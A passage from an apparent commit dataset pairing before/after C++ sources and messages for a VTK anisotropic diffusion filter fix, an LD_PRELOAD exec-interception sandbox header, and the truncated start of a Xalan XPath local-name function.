diffusion thresholds and factors.\n  sum = 0.0;\n  if (this->Edges)\n    {\n    th0 = ar0 * this->DiffusionThreshold;\n    df0 = 1.0 \/ ar0;\n    th1 = ar1 * this->DiffusionThreshold;\n    df1 = 1.0 \/ ar1;\n    \/\/ two edges per direction.\n    sum += 2.0 * (df0 + df1);\n    }\n  if (this->Corners)\n    {\n    temp = sqrt(ar0*ar0 + ar1*ar1);\n    th01 = temp * this->DiffusionThreshold;\n    df01 = 1 \/ temp;\n    \/\/ four corners per plane\n    sum += 4 * (df01);\n    }\n\n  if (sum > 0.0)\n    {\n    temp = this->DiffusionFactor \/ sum;\n    df0 *= temp;\n    df1 *= temp;\n    df01 *= temp;\n    }\n  else\n    {\n    vtkWarningMacro(<< \"Iterate: NO NEIGHBORS\");\n    return;\n    }\n\n  \/\/ Compute the shrinking extent to loop over.\n  min0 = coreExtent[0] - count;\n  max0 = coreExtent[1] + count;\n  min1 = coreExtent[2] - count;\n  max1 = coreExtent[3] + count;\n  \/\/ intersection\n  min0 = (min0 > inMin0) ? min0 : inMin0;\n  max0 = (max0 < inMax0) ? max0 : inMax0;\n  min1 = (min1 > inMin1) ? min1 : inMin1;\n  max1 = (max1 < inMax1) ? max1 : inMax1;\n  \n  vtkDebugMacro(<< \"Iteration count: \" << count << \" (\"\n  << min0 << \", \" << max0 << \", \" << min1 << \", \" << max1 << \")\");\n  \n  \/\/ I apologize for explicitely diffusing each neighbor, but it is the easiest\n  \/\/ way to deal with the boundary conditions.  Besides it is fast.\n  \/\/ (Are you sure every one is correct?!!!)\n  inPtr2 = (float *)(inData->GetScalarPointer(min0, min1, min2));\n  outPtr2 = (float *)(outData->GetScalarPointer(min0, min1, min2));\n\n  for (idxC = 0; idxC < maxC; idxC++)\n    {\n    inPtr2 = (float *)(inData->GetScalarPointer(min0, min1, min2));\n    outPtr2 = (float *)(outData->GetScalarPointer(min0, min1, min2));\n    inPtr2 += idxC;\n    outPtr2 += idxC;\n    \n    for (idx2 = min2; idx2 <= max2; ++idx2, inPtr2+=inInc2, outPtr2+=outInc2)\n      {\n      inPtr1 = inPtr2;\n      outPtr1 = outPtr2;    \n      for (idx1 = min1; idx1 <= max1; ++idx1, inPtr1+=inInc1, outPtr1+=outInc1)\n\t{\n\tinPtr0 = inPtr1;\n\toutPtr0 = outPtr1;    \n\tfor (idx0 = min0; idx0 <= max0; ++idx0, inPtr0+=inInc0, outPtr0+=outInc0)\n\t  {\n\t  \/\/ Copy center\n\t  *outPtr0 = *inPtr0;\n\t\n\t  \/\/ Special case for gradient magnitude threhsold \n\t  if (this->GradientMagnitudeThreshold)\n\t    {\n\t    float d0, d1;\n\t    \/\/ compute the gradient magnitude (central differences).\n\t    d0  = (idx0 != inMax0) ? inPtr0[inInc0] : *inPtr0;\n\t    d0 -= (idx0 != inMin0) ? inPtr0[-inInc0] : *inPtr0;\n\t    d0 \/= ar0;\n\t    d1  = (idx1 != inMax1) ? inPtr0[inInc1] : *inPtr0;\n\t    d1 -= (idx1 != inMin1) ? inPtr0[-inInc1] : *inPtr0;\n\t    d1 \/= ar1;\n\t    \/\/ If magnitude is big, don't diffuse.\n\t    d0 = sqrt(d0*d0 + d1*d1);\n\t    if (d0 > this->DiffusionThreshold)\n\t      {\n\t      \/\/ hack to not diffuse\n\t      th0 = th1 = th01 = 0.0;\n\t      }\n\t    else\n\t      {\n\t      \/\/ hack to diffuse\n\t      th0 = th1 = th01 = VTK_LARGE_FLOAT;\n\t      }\n\t    }\n\t\n\t  \/\/ Start diffusing\n\t  if (this->Edges)\n\t    {\n\t    \/\/ left\n\t    if (idx0 != inMin0)\n\t      {\n\t      temp = inPtr0[-inInc0] - *inPtr0;\n\t      if (fabs(temp) < th0)\n\t\t{\n\t\t*outPtr0 += temp * df0;\n\t\t}\n\t      }\n\t    \/\/ right\n\t    if (idx0 != inMax0)\n\t      {\n\t      temp = inPtr0[inInc0] - *inPtr0;\n\t      if (fabs(temp) < th0)\n\t\t{\n\t\t*outPtr0 += temp * df0;\n\t\t}\n\t      }\n\t    \/\/ up\n\t    if (idx1 != inMin1)\n\t      {\n\t      temp = inPtr0[-inInc1] - *inPtr0;\n\t      if (fabs(temp) < th1)\n\t\t{\n\t\t*outPtr0 += temp * df1;\n\t\t}\n\t      }\n\t    \/\/ down\n\t    if (idx1 != inMax1)\n\t      {\n\t      temp = inPtr0[inInc1] - *inPtr0;\n\t      if (fabs(temp) < th1)\n\t\t{\n\t\t*outPtr0 += temp * df1;\n\t\t}\n\t      }\n\t    }\n\t\n\t  if (this->Corners)\n\t    {\n\t    \/\/ left up\n\t    if (idx0 != inMin0 && idx1 != inMin1)\n\t      {\n\t      temp = inPtr0[-inInc0-inInc1] - *inPtr0;\n\t      if (fabs(temp) < th01)\n\t\t{\n\t\t*outPtr0 += temp * df01;\n\t\t}\n\t      }\n\t    \/\/ right up\n\t    if (idx0 != inMax0 && idx1 != inMin1)\n\t      {\n\t      temp = inPtr0[inInc0-inInc1] - *inPtr0;\n\t      if (fabs(temp) < th01)\n\t\t{\n\t\t*outPtr0 += temp * df01;\n\t\t}\n\t      }\n\t    \/\/ left down\n\t    if (idx0 != inMin0 && idx1 != inMax1)\n\t      {\n\t      temp = inPtr0[-inInc0+inInc1] - *inPtr0;\n\t      if (fabs(temp) < th01)\n\t\t{\n\t\t*outPtr0 += temp * df01;\n\t\t}\n\t      }\n\t    \/\/ right down\n\t    if (idx0 != inMax0 && idx1 != inMax1)\n\t      {\n\t      temp = inPtr0[inInc0+inInc1] - *inPtr0;\n\t      if (fabs(temp) < th01)\n\t\t{\n\t\t*outPtr0 += temp * df01;\n\t\t}\n\t      }\n\t    }\n\t  }\n\t}\n      }\n    }\n}\n\n  \n<commit_msg>BUG: z axis ectent not handled correctly<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkImageAnisotropicDiffusion2D.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n  Thanks:    Thanks to C. Charles Law who developed this class.\n\nCopyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n#include <math.h>\n#include \"vtkImageAnisotropicDiffusion2D.h\"\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ Construct an instance of vtkImageAnisotropicDiffusion2D fitler.\nvtkImageAnisotropicDiffusion2D::vtkImageAnisotropicDiffusion2D()\n{\n  this->HandleBoundaries = 1;\n  this->SetNumberOfIterations(4);\n  this->DiffusionThreshold = 5.0;\n  this->DiffusionFactor = 1;\n  this->EdgesOn();\n  this->CornersOn();\n  this->GradientMagnitudeThresholdOff();\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid \nvtkImageAnisotropicDiffusion2D::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->vtkImageSpatialFilter::PrintSelf(os, indent);\n  os << indent << \"NumberOfIterations: \" << this->NumberOfIterations << \"\\n\";\n  os << indent << \"DiffusionThreshold: \" << this->DiffusionThreshold << \"\\n\";\n  os << indent << \"DiffusionFactor: \" << this->DiffusionFactor << \"\\n\";\n\n  if (this->Edges)\n    {\n    os << indent << \"Edges: On\\n\";\n    }\n  else\n    {\n    os << indent << \"Edges: Off\\n\";\n    }\n\n  if (this->Corners)\n    {\n    os << indent << \"Corners: On\\n\";\n    }\n  else\n    {\n    os << indent << \"Corners: Off\\n\";\n    }\n\n  if (this->GradientMagnitudeThreshold)\n    {\n    os << indent << \"GradientMagnitudeThreshold: On\\n\";\n    }\n  else\n    {\n    os << indent << \"GradientMagnitudeThreshold: Off\\n\";\n    }\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method sets the number of inputs which also affects the\n\/\/ input neighborhood needed to compute one output pixel.\nvoid vtkImageAnisotropicDiffusion2D::SetNumberOfIterations(int num)\n{\n  int temp;\n  \n  vtkDebugMacro(<< \"SetNumberOfIterations: \" << num);\n  if (this->NumberOfIterations == num) return;\n\n  this->Modified();\n  temp = num*2 + 1;\n  this->KernelSize[0] = temp;\n  this->KernelSize[1] = temp;\n  this->KernelMiddle[0] = num;\n  this->KernelMiddle[1] = num;\n\n  this->NumberOfIterations = num;\n}\n\n\n  \n  \n  \n  \n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method contains a switch statement that calls the correct\n\/\/ templated function for the input data type.  The input and output datas\n\/\/ must have the same data type.\nvoid vtkImageAnisotropicDiffusion2D::ThreadedExecute(vtkImageData *inData, \n\t\t\t\t\t\t     vtkImageData *outData,\n\t\t\t\t\t\t     int outExt[6], int id)\n{\n  int inExt[6];\n  float *ar;\n  int idx;\n  vtkImageData *temp;\n  \n  this->ComputeRequiredInputUpdateExtent(inExt,outExt);\n  \n  vtkDebugMacro(<< \"Execute: inData = \" << inData \n  << \", outData = \" << outData);\n  \n  \/\/ this filter expects that input is the same type as output.\n  if (inData->GetScalarType() != outData->GetScalarType())\n    {\n    vtkErrorMacro(<< \"Execute: input ScalarType, \" << inData->GetScalarType()\n                  << \", must match out ScalarType \" << outData->GetScalarType());\n    return;\n    }\n  \n  ar = inData->GetSpacing();\n\n  \/\/ make the temporary regions to iterate over.\n  vtkImageData *in = vtkImageData::New();\n  in->SetExtent(inExt);\n  in->SetNumberOfScalarComponents(inData->GetNumberOfScalarComponents());\n  in->SetScalarType(VTK_FLOAT);\n  in->CopyAndCastFrom(inData,inExt);\n  \n  vtkImageData *out = vtkImageData::New();\n  out->SetExtent(inExt);\n  out->SetNumberOfScalarComponents(inData->GetNumberOfScalarComponents());\n  out->SetScalarType(VTK_FLOAT);\n  \n  \/\/ Loop performing the diffusion\n  \/\/ Note: region extent could get smaller as the diffusion progresses\n  \/\/ (but never get smaller than output region).\n  for (idx = this->NumberOfIterations - 1; idx >= 0; --idx)\n    {\n    if (!id) this->UpdateProgress((float)(this->NumberOfIterations - idx)\n\t\t\t\t  \/this->NumberOfIterations);\n    this->Iterate(in, out, ar[0], ar[1], outExt, idx);\n    temp = in;\n    in = out;\n    out = temp;\n    }\n  \n  \/\/ copy results into output.\n  outData->CopyAndCastFrom(in,outExt);\n  in->Delete();\n  out->Delete();\n}\n\n  \n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method performs one pass of the diffusion filter.\n\/\/ The inData and outData are assumed to have data type float,\n\/\/ and have the same extent.\nvoid vtkImageAnisotropicDiffusion2D::Iterate(vtkImageData *inData, \n\t\t\t\t\t     vtkImageData *outData,\n\t\t\t\t\t     float ar0, float ar1,\n\t\t\t\t\t     int *coreExtent, int count)\n{\n  int idx0, idx1, idx2;\n  int inInc0, inInc1, inInc2;\n  int outInc0, outInc1, outInc2;\n  int inMin0, inMax0, inMin1, inMax1, inMin2, inMax2;\n  int min0, max0, min1, max1, min2, max2;\n  float *inPtr0, *inPtr1, *inPtr2;\n  float *outPtr0, *outPtr1, *outPtr2;\n  float th0, th1, th01;\n  float df0, df1, df01;\n  float temp, sum;\n  int idxC, maxC;\n\n  maxC = inData->GetNumberOfScalarComponents();\n  inData->GetExtent(inMin0, inMax0, inMin1, inMax1, inMin2, inMax2);\n  inData->GetIncrements(inInc0, inInc1, inInc2);\n  outData->GetIncrements(outInc0, outInc1, outInc2);\n\n  \/\/ Avoid warnings.\n  th0 = th1 = th01 = df0 = df1 = df01 = 0.0;\n  \n  \/\/ Compute direction specific diffusion thresholds and factors.\n  sum = 0.0;\n  if (this->Edges)\n    {\n    th0 = ar0 * this->DiffusionThreshold;\n    df0 = 1.0 \/ ar0;\n    th1 = ar1 * this->DiffusionThreshold;\n    df1 = 1.0 \/ ar1;\n    \/\/ two edges per direction.\n    sum += 2.0 * (df0 + df1);\n    }\n  if (this->Corners)\n    {\n    temp = sqrt(ar0*ar0 + ar1*ar1);\n    th01 = temp * this->DiffusionThreshold;\n    df01 = 1 \/ temp;\n    \/\/ four corners per plane\n    sum += 4 * (df01);\n    }\n\n  if (sum > 0.0)\n    {\n    temp = this->DiffusionFactor \/ sum;\n    df0 *= temp;\n    df1 *= temp;\n    df01 *= temp;\n    }\n  else\n    {\n    vtkWarningMacro(<< \"Iterate: NO NEIGHBORS\");\n    return;\n    }\n\n  \/\/ Compute the shrinking extent to loop over.\n  min0 = coreExtent[0] - count;\n  max0 = coreExtent[1] + count;\n  min1 = coreExtent[2] - count;\n  max1 = coreExtent[3] + count;\n  \/\/ intersection\n  min0 = (min0 > inMin0) ? min0 : inMin0;\n  max0 = (max0 < inMax0) ? max0 : inMax0;\n  min1 = (min1 > inMin1) ? min1 : inMin1;\n  max1 = (max1 < inMax1) ? max1 : inMax1;\n  \n  vtkDebugMacro(<< \"Iteration count: \" << count << \" (\"\n  << min0 << \", \" << max0 << \", \" << min1 << \", \" << max1 << \")\");\n  \n  \/\/ I apologize for explicitely diffusing each neighbor, but it is the easiest\n  \/\/ way to deal with the boundary conditions.  Besides it is fast.\n  \/\/ (Are you sure every one is correct?!!!)\n  min2 = inMin2;\n  max2 = inMax2;\n  \n  \n  inPtr2 = (float *)(inData->GetScalarPointer(min0, min1, min2));\n  outPtr2 = (float *)(outData->GetScalarPointer(min0, min1, min2));\n\n  for (idxC = 0; idxC < maxC; idxC++)\n    {\n    inPtr2 = (float *)(inData->GetScalarPointer(min0, min1, min2));\n    outPtr2 = (float *)(outData->GetScalarPointer(min0, min1, min2));\n    inPtr2 += idxC;\n    outPtr2 += idxC;\n    \n    for (idx2 = min2; idx2 <= max2; ++idx2, inPtr2+=inInc2, outPtr2+=outInc2)\n      {\n      inPtr1 = inPtr2;\n      outPtr1 = outPtr2;    \n      for (idx1 = min1; idx1 <= max1; ++idx1, inPtr1+=inInc1, outPtr1+=outInc1)\n\t{\n\tinPtr0 = inPtr1;\n\toutPtr0 = outPtr1;    \n\tfor (idx0 = min0; idx0 <= max0; ++idx0, inPtr0+=inInc0, outPtr0+=outInc0)\n\t  {\n\t  \/\/ Copy center\n\t  *outPtr0 = *inPtr0;\n\t\n\t  \/\/ Special case for gradient magnitude threhsold \n\t  if (this->GradientMagnitudeThreshold)\n\t    {\n\t    float d0, d1;\n\t    \/\/ compute the gradient magnitude (central differences).\n\t    d0  = (idx0 != inMax0) ? inPtr0[inInc0] : *inPtr0;\n\t    d0 -= (idx0 != inMin0) ? inPtr0[-inInc0] : *inPtr0;\n\t    d0 \/= ar0;\n\t    d1  = (idx1 != inMax1) ? inPtr0[inInc1] : *inPtr0;\n\t    d1 -= (idx1 != inMin1) ? inPtr0[-inInc1] : *inPtr0;\n\t    d1 \/= ar1;\n\t    \/\/ If magnitude is big, don't diffuse.\n\t    d0 = sqrt(d0*d0 + d1*d1);\n\t    if (d0 > this->DiffusionThreshold)\n\t      {\n\t      \/\/ hack to not diffuse\n\t      th0 = th1 = th01 = 0.0;\n\t      }\n\t    else\n\t      {\n\t      \/\/ hack to diffuse\n\t      th0 = th1 = th01 = VTK_LARGE_FLOAT;\n\t      }\n\t    }\n\t\n\t  \/\/ Start diffusing\n\t  if (this->Edges)\n\t    {\n\t    \/\/ left\n\t    if (idx0 != inMin0)\n\t      {\n\t      temp = inPtr0[-inInc0] - *inPtr0;\n\t      if (fabs(temp) < th0)\n\t\t{\n\t\t*outPtr0 += temp * df0;\n\t\t}\n\t      }\n\t    \/\/ right\n\t    if (idx0 != inMax0)\n\t      {\n\t      temp = inPtr0[inInc0] - *inPtr0;\n\t      if (fabs(temp) < th0)\n\t\t{\n\t\t*outPtr0 += temp * df0;\n\t\t}\n\t      }\n\t    \/\/ up\n\t    if (idx1 != inMin1)\n\t      {\n\t      temp = inPtr0[-inInc1] - *inPtr0;\n\t      if (fabs(temp) < th1)\n\t\t{\n\t\t*outPtr0 += temp * df1;\n\t\t}\n\t      }\n\t    \/\/ down\n\t    if (idx1 != inMax1)\n\t      {\n\t      temp = inPtr0[inInc1] - *inPtr0;\n\t      if (fabs(temp) < th1)\n\t\t{\n\t\t*outPtr0 += temp * df1;\n\t\t}\n\t      }\n\t    }\n\t\n\t  if (this->Corners)\n\t    {\n\t    \/\/ left up\n\t    if (idx0 != inMin0 && idx1 != inMin1)\n\t      {\n\t      temp = inPtr0[-inInc0-inInc1] - *inPtr0;\n\t      if (fabs(temp) < th01)\n\t\t{\n\t\t*outPtr0 += temp * df01;\n\t\t}\n\t      }\n\t    \/\/ right up\n\t    if (idx0 != inMax0 && idx1 != inMin1)\n\t      {\n\t      temp = inPtr0[inInc0-inInc1] - *inPtr0;\n\t      if (fabs(temp) < th01)\n\t\t{\n\t\t*outPtr0 += temp * df01;\n\t\t}\n\t      }\n\t    \/\/ left down\n\t    if (idx0 != inMin0 && idx1 != inMax1)\n\t      {\n\t      temp = inPtr0[-inInc0+inInc1] - *inPtr0;\n\t      if (fabs(temp) < th01)\n\t\t{\n\t\t*outPtr0 += temp * df01;\n\t\t}\n\t      }\n\t    \/\/ right down\n\t    if (idx0 != inMax0 && idx1 != inMax1)\n\t      {\n\t      temp = inPtr0[inInc0+inInc1] - *inPtr0;\n\t      if (fabs(temp) < th01)\n\t\t{\n\t\t*outPtr0 += temp * df01;\n\t\t}\n\t      }\n\t    }\n\t  }\n\t}\n      }\n    }\n}\n\n  \n<|endoftext|>"}
{"text":"<commit_before>#ifndef _PITO_INTERCEPTOR_JAIL_LIBC_HPP_\n#define _PITO_INTERCEPTOR_JAIL_LIBC_HPP_\n\n#include <pito\/interceptor\/jail\/environment.hpp>\n\n#include <stdarg.h>\n#include <fcntl.h>\n\n\/\/ #include <iostream>\n#include <algorithm>\n\nnamespace pito { namespace interceptor { namespace jail {\n\nstruct Init {\n    Init() {\n        char const *begin = getenv(\"LD_PRELOAD\");\n        char const *end = begin;\n        while (*(++end) != '\\0') {}\n\n        char const *colon = begin;\n        do {\n            colon = std::find(colon + 1, end, ':');\n            \/\/ std::cout << \"got preload entry (\" << begin << \")\" << std::endl;\n            \/\/ TODO: test if range(begin,colon) matches libpito_[a-z]+.so\n\n            begin = colon;\n        } while (colon != end);\n    }\n};\n\nInit init;\n\n} } }\n\nextern \"C\" {\n\nusing namespace pito::interceptor;\nusing namespace pito::interceptor::jail;\n\n\/\/ include this in a handler c file to include the pito jail\nint execve(const char *filename, char *const argv[], char *const envp[]) {\n    enforceEnvironment(envp);\n    return PITO_SUPER(execve)(filename, argv, envp);\n}\n\nint execv(const char *filename, char *const argv[]) {\n    enforceEnvironment();\n    return PITO_SUPER(execv)(filename, argv);\n}\n\nint execvp(const char *filename, char *const argv[]) {\n    enforceEnvironment();\n    return PITO_SUPER(execvp)(filename, argv);\n}\n\n}\n\n#endif\n<commit_msg>um<commit_after>#ifndef _PITO_INTERCEPTOR_JAIL_LIBC_HPP_\n#define _PITO_INTERCEPTOR_JAIL_LIBC_HPP_\n\n#include <pito\/interceptor\/jail\/environment.hpp>\n#include \"config.hpp\"\n\n#include <stdarg.h>\n#include <fcntl.h>\n\n\/\/ #include <iostream>\n#include <algorithm>\n\nnamespace pito { namespace interceptor { namespace jail {\n\nstruct Init {\n    Init() {\n#ifndef APPLE\n        char const *begin = getenv(\"LD_PRELOAD\");\n        char const *end = begin;\n        while (*(++end) != '\\0') {}\n\n        char const *colon = begin;\n        do {\n            colon = std::find(colon + 1, end, ':');\n            \/\/ std::cout << \"got preload entry (\" << begin << \")\" << std::endl;\n            \/\/ TODO: test if range(begin,colon) matches libpito_[a-z]+.so\n\n            begin = colon;\n        } while (colon != end);\n#endif\n    }\n};\n\nInit init;\n\n} } }\n\nextern \"C\" {\n\nusing namespace pito::interceptor;\nusing namespace pito::interceptor::jail;\n\n\/\/ include this in a handler c file to include the pito jail\nint execve(const char *filename, char *const argv[], char *const envp[]) {\n    enforceEnvironment(envp);\n    return PITO_SUPER(execve)(filename, argv, envp);\n}\n\nint execv(const char *filename, char *const argv[]) {\n    enforceEnvironment();\n    return PITO_SUPER(execv)(filename, argv);\n}\n\nint execvp(const char *filename, char *const argv[]) {\n    enforceEnvironment();\n    return PITO_SUPER(execvp)(filename, argv);\n}\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(FUNCTIONLOCALNAME_HEADER_GUARD_1357924680)\n#define FUNCTIONLOCALNAME_HEADER_GUARD_1357924680\n\n\n\n\/\/ Base header file.  Must be first.\n#include <XPath\/XPathDefinitions.hpp>\n\n\n\n#include <vector>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n\n\n\n\/\/ Base class header file...\n#include <XPath\/Function.hpp>\n\n\n\n#include <XPath\/NodeRefListBase.hpp>\n#include <XPath\/XObject.hpp>\n#include <XPath\/XObjectFactory.hpp>\n#include <XPath\/XPathExecutionContext.hpp>\n\n\n\n\/**\n * XPath implementation of \"local-name\" function.\n *\/\n\/\/\n\/\/ These are all inline, even though\n\/\/ there are virtual functions, because we expect that they will only be\n\/\/ needed by the XPath class.\nclass XALAN_XPATH_EXPORT FunctionLocalName : public Function\n{\npublic:\n\n\t\/\/ These methods are inherited from Function ...\n\n\tvirtual XObject*\n\texecute(\n\t\t\tXPathExecutionContext&\t\t\texecutionContext,\n\t\t\tXalanNode*\t\t\t\t\t\tcontext,\n\t\t\tint\t\t\t\t\t\t\t\t\/* opPos *\/,\n\t\t\tconst XObjectArgVectorType&\t\targs)\n\t{\n\t\tconst XObjectArgVectorType::size_type\ttheSize =\n\t\t\targs.size();\n\n\t\tif(theSize > 1)\n\t\t{\n\t\t\texecutionContext.error(\"The local-name() function takes zero or one arguments!\",\n\t\t\t\t\t\t\t\t   context);\n\t\t}\n\n\t\tXalanDOMString\ttheData;\n\n\t\tif (theSize == 0)\n\t\t{\n\t\t\tassert(context != 0);\n\n\t\t\ttheData = executionContext.getLocalNameOfNode(*context);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tassert(args[0] != 0);\n\n\t\t\tconst NodeRefListBase&\ttheNodeList = args[0]->nodeset();\n\n\t\t\tif (theNodeList.getLength() > 0)\n\t\t\t{\n\t\t\t\ttheData = executionContext.getLocalNameOfNode(*theNodeList.item(0));\n\t\t\t}\n\t\t}\n\n\t\treturn executionContext.getXObjectFactory().createString(theData);\n\t}\n\n#if defined(XALAN_NO_COVARIANT_RETURN_TYPE)\n\tvirtual Function*\n#else\n\tvirtual FunctionLocalName*\n#endif\n\tclone() const\n\t{\n\t\treturn new FunctionLocalName(*this);\n\t}\n\nprivate:\n\n\t\/\/ Not implemented...\n\tFunctionLocalName&\n\toperator=(const FunctionLocalName&);\n\n\tbool\n\toperator==(const FunctionLocalName&) const;\n};\n\n\n\n#endif\t\/\/ FUNCTIONLOCALNAME_HEADER_GUARD_1357924680\n<commit_msg>More error checking.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(FUNCTIONLOCALNAME_HEADER_GUARD_1357924680)\n#define FUNCTIONLOCALNAME_HEADER_GUARD_1357924680\n\n\n\n\/\/ Base header file.  Must be first.\n#include <XPath\/XPathDefinitions.hpp>\n\n\n\n#include <vector>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n\n\n\n\/\/ Base class header file...\n#include <XPath\/Function.hpp>\n\n\n\n#include <XPath\/NodeRefListBase.hpp>\n#include <XPath\/XObject.hpp>\n#include <XPath\/XObjectFactory.hpp>\n#include <XPath\/XPathExecutionContext.hpp>\n\n\n\n\/**\n * XPath implementation of \"local-name\" function.\n 